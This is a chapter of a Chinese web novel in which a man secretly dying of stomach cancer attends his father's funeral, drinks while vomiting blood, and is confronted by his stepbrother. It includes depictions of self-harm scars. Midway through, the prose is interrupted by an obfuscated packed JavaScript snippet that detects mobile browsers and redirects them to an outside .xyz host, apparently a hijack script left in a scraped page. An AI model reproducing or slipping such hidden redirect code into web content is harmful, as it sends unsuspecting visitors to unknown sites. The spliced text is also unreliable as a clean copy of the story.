“我有个认识的朋友要死了,”他在聊天框里说,“他想给自己提前预定个骨灰盒。” 殡仪馆回的很快。 “可以的,陈先生。”殡仪馆回复,“明天您的父亲葬礼结束,就可以来挑选骨灰盒。墓地的话,我们也有很多地方可以挑。请问什么时候需要?” 陈舷推出来,翻到日历,数了下日子。 葬礼布置了好几天,就差三天就到老陈头七了。 还有三天,方谕就要走了。 “六号吧,”他说,“我那朋友没几天了。” 23.葬礼 陈舷忽然有些后悔。 倒在酒店床上捂着肚子窝在被子里,疼痛难忍得意识都模糊的时候,他突然有些后悔。 再睁开眼时已是半夜,他的胃痛好了一些,但也没好到哪儿去。陈舷摇摇晃晃坐起身来,进了卫生间。 他低头往洗手池里啐了几口血,然后吸了几口气,低手解开衬衫的袖扣,把两手的袖子往上一拉,露出胳膊上一道叠着一道的伤疤口子。那些口子有新有旧,层层叠叠得触目惊心。 陈舷并不在意,对着洗手台又咳嗽几口,擦干净嘴,他出了卫生间,到柜子跟前,拿起两瓶纯净水,打开水壶,往里一倒。 水烧上了,水壶发出咕噜噜的声音。陈舷把旁边堆成山的药挑挑拣拣了会儿,拿着一板药,晃晃悠悠地到了窗边。外头夜色浓重,飘着细小的雪花。 陈舷发了会儿呆,直到水壶发出“滴”的一声。他回头,倒了杯滚烫的热水。 他喝下烫喉咙的热水,吃下了药。 往墙上一靠,一转头,他看见柜子角落里躺着他的胃癌诊断书。 外头风声呼啸,陈舷和那张诊断书对视了会儿,忽然真的有些后悔。 大约是日子近了,他突然不想逞强了,也不想再瞒着了。 陈舷拿起诊断书,把它放到床头。 第二天一早,他又吃下一堆药,把诊断书拿上,去了葬礼。 今天也是陈建衡来接的他。 看见他越来越瘦的模样,陈建衡表情有些怪异,在车上问了他一句:“我怎么感觉你瘦了好多?” “我亲爹死了啊,”陈舷朝他笑笑,“我还遇到这么多年没见的后妈一家了,我憔悴一点不过分吧?” 陈建衡哑口无言,再说不出什么。 到的时候天已经大亮,门口已经聚集了不少人。葬乐在门口吹个没完,唢呐刺耳地一直响。宁城这破地儿也是神奇,讲究一个喜葬,那唢呐声欢快得极其诡异。 门口,亲朋好友们拿着请帖,一个一个地往守灵厅里走。 其中不乏陈舷也很眼熟的人。 陈舷紧了紧身上的衣服,强扯出一抹笑来,走上去打起了招呼。 他抓住一个在排队进场的、两鬓都花白了的大叔,笑意盈盈地叫:“林叔!好久不见啊。” 那男人愣了下,回头一看,一脸迷茫地打量了他一会儿:“你是……” “我是陈舷呀。”陈舷说。 “哦——”男人恍然大悟,赶忙喜笑颜开地拉了拉他的手,“小舷啊,哎哟真是好久不见,都十多年没见过你了!” 陈舷哈哈陪着笑了两声。 林叔望着他,笑容又有些勉强:“你居然还回来了,真是没想到。” “好歹是亲爹嘛。”陈舷说。 “什么?” 前后左右都有人听见声音回过头,“陈舷?” “哎呀,真是小舷!” 不少人都热情地围过来,抓着他打着招呼,又嘘寒问暖起来:“真是好久不见了,一眨眼都这么大了!” “怎么瘦这么多?” “自己一个人在外边,都不知道好好吃饭!” “今天你可得多吃点……” 没多久,陈舷就被围得水泄不通。陈建衡叫来的人也不少,都是老陈以前的朋友。 这些人里,有人知道以前的事,有人不知道。所以有人目光复杂、心疼、五味杂陈,也有人嫌恶至极,但是很好地掩饰起来——毕竟老陈都死了,也再没必要上赶着讨伐陈舷。 也有不知情的人只是单纯地打量,单纯的热情。 陈建衡站在远处看了会儿,眼瞅着陈舷苍白的笑脸越来越勉强,他的脸色也越来越难看。 “快进吧,”陈舷招呼他们,“进去再说,外面挺冷的,进去坐下说话。” 守灵厅里,已经来了些人。 陈舷进了厅里,看见方真圆前前后后地忙碌确认着,满场乱跑。和之前几次他来勘察时一样,老陈的棺材摆在厅里最前头,棺材上边挂着这人的黑白遗像。 那张大大的笑脸挂在上头,真是音容宛在。 陈舷这才恍恍惚惚地、也真真切切地理解了音容宛在的含义。他盯着那张遗像,不知不觉地就真的看了进去,总感觉下一秒老陈真的就要掀开棺材板蹦起来。 他转头找了个地方坐下,再抬头一看,看见方谕也已经来了,他坐在最前面的位置上,大爷似的抱着双臂,同样有许多人都围了过去,满面笑容地和他说着话。 他今天穿得也是光鲜亮丽,一身的黑,黑毛衣黑大衣黑裤子,但身上衣服的版型真是一比一的好,掐腰的造型修身的大衣,恨不得把他那双本来就长的腿给一口气衬成两米三。 旁人围着他,方谕便有一茬没一茬地应着,脸色有些冷,低垂的眉毛在脸上投下一片冷峻的阴影——看来和从前一样,他还是很不适应应付这些。 感受到他投来目光,方谕回头看了过来。和他视线相撞后,方谕又立刻别开眼神。 陈舷默默地去了自己的位子上坐下。他也没盼望方谕有什么好脸,毕竟陈舷前两天刚再次骂了他一遍。 陈舷回了回头。 陈建衡不知道上哪儿去了,这一排就只有他一个人。 “陈舷在不在?” 后头突然有人说话。 声音很熟悉,陈舷愣了愣。他回头,看见有两个瘦瘦高高的男人进了门来,正抓着方真圆问话。俩人穿着一身黑,脸色很忐忑,瞧着三十左右,跟他差不多大。 陈舷看他俩面熟。 好眼熟,但他想不起来是谁。 方真圆给他俩一指:“陈舷在,那边那个。” 两个男人转头一看他,当即控制不住地喜上眉梢,齐齐叫他一声:“舷哥!” 陈舷一怔。 怔着的空,两人已经朝他跑了过来。 看他愣住,其中一个面熟的就指着自己:“我啊,舷哥,尚铭!” 陈舷一片空白的脑子终于反应过来。 我靠,这是尚铭。 怪不得这么眼熟。 另一个也指着自己:“我!高鹏!” 陈舷一惊:“高鹏?你这么瘦了?” 眼前这瘦瘦高高还有点帅的哥们,哪儿还有他记忆里那副胖乎乎的吉祥物似的样子。 高鹏嘿嘿乐了两声,一点儿不见外地在他旁边一屁股坐了下来:“你也瘦了不少,舷哥,怎么就瘦成这样了?” 陈舷苦笑两声,没解释。 尚铭也坐下了,还高高兴兴地拉着椅子,往他身边连连蹭了两下:“就是,怎么瘦成这样?你说你也是,当年一声不吭就转学,还把所有联系方式都删了。你留着哥们啊,哥们现在开连锁饭店,老挣钱了,你吃不起饭来找我,我肯定顿顿给你当皇上伺候。” “当年有情况嘛,没办法。”陈舷还是苦笑。 当年那事儿闹得全校都沸沸扬扬,尚铭和高鹏也都知道。俩人便没再提,只哈哈笑了两声就翻过去。 “不提了。”尚铭说,“现在好好的就行了,一会儿咱俩再把微信加上。舷哥,现在在哪儿高就啊?” “哪儿也没有。”陈舷淡淡地回。 他下意识地又抬头望去,看见方谕又在看他。只是视线交汇的那一瞬,方谕又别开了眼睛。 宾客陆陆续续地来齐了,尚铭和高鹏抓着陈舷不放,拉着他东扯西扯了半天。当年事发突然,陈舷离开得突如其来,俩人也是跟他突然就断了十几年的联系。 不论爱情还是友情,这种断崖式的断联最让人受不了。但他俩没有多责怪他,好像十二年的断联不存在似的,只是拉着他唠了会儿很无所谓的家常。 谁都没提当年。后来外头唢呐声近了,在厅外头响起来了,俩人才反应过来这还是葬礼上,老陈的棺材甚至还在前头摆着,于是都止住了声音,转头看向外头。 外头的唢呐吹个没完,陈建衡和陈庆兰最后走了进来。 陈舷也是时隔数年地第一次见到他大姑陈庆兰。遥想当年,还是陈庆兰把方谕带给他的。 陈庆兰进来之后,视线在厅里一扫,终于看见陈舷。看见的那一瞬,她慌乱了下,最后没说什么,只是朝他点点头。 陈舷也朝她点点头。 那两人在后头找了个地方坐下。 葬礼开始了,前头有个和尚坐下开始敲木鱼念经,来的亲友们一个一个地上前去,去上个香,和死者做最后的告别。 方真圆坐在最前面,没过一会儿,她就哭了起来,拿着一方帕子擦着眼泪,哭得抽抽噎噎。 方谕坐在她旁边,只给陈舷留了个后脑勺,陈舷看不见他什么表情。 那个小助理坐在他另一边,坐了会儿就歪歪脑袋,凑到他耳朵边上,跟他交头接耳,把一张不知道是什么的纸交给了他。 外头的唢呐声不绝于耳,陈舷呆呆地看着陈胜强的遗像,忽然懒得计较那个小助理跟方谕什么关系了。他望着宾客们一个一个过去,对着棺材双手合十。 轮到他的时候,他脑袋一片白,突然又解离了。等回过神来的时候他已经回到座位上,所有宾客都上完了香,方谕都站在棺材前面讲起了话。 棺材边上敲木鱼的和尚没影了,外头的唢呐声也没了动静,就只听见方谕清冽如冰的声音在守灵厅里回响着。 “感谢各位在百忙之中,抽出空闲,不远万里地来参加家父陈胜强的葬礼。”他瞥了眼手上那张纸,又抬头,目光平静地对着面前的麦克风说,“家父陈胜强,在五天前的二月一号,清晨五点时,由于过度劳累,导致突然的心脏病发……” 陈舷差点笑出声来。 真好意思说,不是打麻将打死的吗。 他捂了捂嘴。 这时候笑出来是真的没道德了,多少是在真的葬礼上。 陈舷抱起双臂,靠在座位上,望着方谕把纸上的悼词一点一点念完。 “家父陈胜强为人忠厚仁慈,善良温顺,最重视子女,含辛茹苦地养育了一个家庭,养育了膝下的孩子,让所有的孩子都无忧无虑地长大成人。”方谕说话渐渐变得慢吞吞的,“他为子女遮风挡雨,一生辛劳,为我留下无数教诲。尽管往后阴阳相隔,但父亲的教诲永留于心。” 陈舷扬着的嘴角缓缓下去,笑意渐失。 “……望诸位,节哀顺变。” 外头又下雪了。 二月的宁城真是很爱下雪。 念完悼词,宾客们去隔壁的侧厅吃席了。 陈舷留到最后一个。他站在门口,看着方真圆哭得越来越伤心欲绝,最后扑在棺材上,哭着喊老陈的名字,几次差点背过气去。 眼前的一切忽然又变得像个电影。陈舷呆立在门口,只觉得眼前这些像个梦核似的电影,跟他一点关系都没有。 他只是个坐在影院里的观众。 尚铭在他眼前连打好几个响指:“舷哥!” 陈舷回过神来。 他转头,看见尚铭叼着根烟站在旁边,手还在他脸跟前晃悠。 “怎么发呆这么深沉,叫你好几声了,你都没反应。”尚铭收回手,“走了,这边。” 陈舷懵了瞬,才发现自己已经走出守灵厅了,正站在殡仪馆的厅堂里。他一回头,看见殡仪馆的工作人员关上了守灵厅的门。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616607|170483||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>流程走完了啊。 陈舷茫然地想。 今天葬礼的流程是,等来人都给老陈上过香之后,宾客们就要去侧厅里吃席。 “舷哥!” 尚铭又叫了他一声,陈舷转头朝他笑笑,跟了上去。 跟着进了侧厅,陈舷跟着高鹏和尚铭到了一张桌子上。他让他俩坐下,转头一看,方谕在前头安安稳稳地坐着,没拿筷子,不吃不喝,但低头点着手机。小助理站在他旁边说着什么,看来是来工作了。 陈舷看了他一会儿,又看看四周宾客。他低头拿过个杯子,拍拍他两个老同学:“我去敬一圈酒。” “行嘞。”尚铭说。 “去吧去吧,你是该敬一圈。”高鹏也说。 陈舷便拿着个小酒杯,去把老陈家请来的人挨个敬了一圈。 他笑容满面,一杯一杯白酒喝了下去,谢过宾客的好意,叫他们都放下心,吃好喝好再回去。 一个一个敬过来,胃里疼得越来越厉害了。 陈舷咬着牙挺着,心里无端烧起一股恨来。 最后了。 他想,这是最后了。 陈胜强,我□□爹的。 陈舷没来由地痛快起来,即使身上越来越疼。 反正没有几天了,破身子骨就随便糟蹋一会儿吧。 他感到身后的视线如芒刺背,他知道是方谕,但他没有回头。偶然从敬酒的间隙里抬头,他也没敢回头,只是咬着牙僵着笑脸,捏着一小杯白酒,笑着朝向下一桌。 噗一口鲜血,他喷在殡仪馆的马桶里。 陈舷扶着脑门,呼哧呼哧地喘了一口气。剧烈的恶心灼烧着喉咙,他呕地一口,又是淋漓的一片血。 他冷汗淋漓,望着触目惊心的出血量,却笑出声来。 【家父陈胜强为人忠厚仁慈,善良温顺,最重视子女……】 【他为子女遮风挡雨,一生辛劳……】 【让所有的孩子都无忧无虑地长大成人……】 陈舷笑得越来越厉害,笑到最后,声音都哑了。 他捂着胃,往后一倒。 等缓过神来,他洗了把脸,重新走出卫生间。 中午的席已经吃完,宾客们陆陆续续地都回去了。人不多,方真圆正在门口送。 看见他摇摇晃晃地出来,方真圆移回目光,笑着又送了几位宾客,就拉了把自己的弟弟,把事情交给他以后,从送宾行列里抽出身来,朝陈舷小跑过来。 她皱起眉,嗔怒地轻轻推了他一把:“你上哪儿去了?” “人有三急。”陈舷轻飘飘的,“连上厕所你都不让?我又没带你儿子一起上。” 方真圆:“……” 陈舷真是很少这么冲,而且面无表情。 “什么事?”陈舷问她,语气少有的不耐。 方真圆回过神来:“晚上要守灵,你就别回去了。守灵得亲生孩子来,小鱼不行。” 一听这话,陈舷真是没忍住,笑出了声来。 “好啊,”他说,“厉害啊,方真圆,有能表现炫耀的事,你们小鱼就是儿子了。一到通宵熬夜跪棺材这种狗都嫌烦的事儿,就成我才是亲生的了。你大西洋传奇舵手啊,你去演加勒比海盗吧,没人比你还会见风使舵。” 方真圆的脸惨白了阵。她张了张嘴,却哑口无言,说不出什么话。 “……那你什么意思?”她最后干巴巴地说,“你不管你爸了?” 陈舷越看她这个楚楚可怜的样儿越烦。 “滚。” 放下这句,陈舷伸手狠狠推了一把她的肩膀,冷着脸就往外走。 “陈舷!”方真圆喊他,“你居然不管你亲爹,让别人给他守灵吗!” 正离开的宾客们纷纷回头。一听这话,各色的目光顿时都不约而同地落在陈舷身上。 陈舷不用想都知道,方真圆想道德绑架。他嗤笑一声,头也不回,脚步不停,决绝地走了。 外头又在风雪交加,陈舷拉着大衣的两边衣领,匆匆地离开。 “陈舷。” 走到停车场时,身后传来声音。 陈舷顿住脚步。 他回头,方谕居然站在停车场门口,正双手抱臂着吹冷风。 “……”陈舷默了会儿,“有事?” 方谕没说话,但脸色极其难看地把他上上下下打量了一遍。 最后,他的目光落在陈舷身上的大衣上。 “怎么一直不脱衣服。”方谕说,“殡仪馆暖气那么足,做什么一直穿着这么厚的大衣?” “我嫌冷,不行吗。” 陈舷这么说着,又把身上的大衣夹紧了点儿。 停车场空旷,迎面的冷风更烈。大风呼啸里,陈舷额前的头发被吹得翻飞,左额角上那块方谕先前见过的、触目惊心的伤疤,再一次映入眼中。 方谕沉默。 他对着陈舷皱了皱眉,心中烦乱。 十几分钟前,因为侧厅里的烟酒味儿和暖气实在闷热,方谕就出来透了口气,顺便去了趟洗手间,想洗把脸清醒一下。 他听见了。 他听见陈舷上不来气的呕吐声,听见他喘不上气的喘.息声。 陈舷难得地满脸冰冷,对着他都没什么好脸。方谕不说话,他就又转头,抬脚就要走。 “陈舷。”方谕又叫住他。 陈舷啧了声,不耐烦地回头:“到底还要说什么?” “你生病了?” 陈舷瞳孔骤然一缩。 风雪突然失声,天地立时空旷。他突然再听不见任何声音,只望见方谕烦乱又担心的眼睛。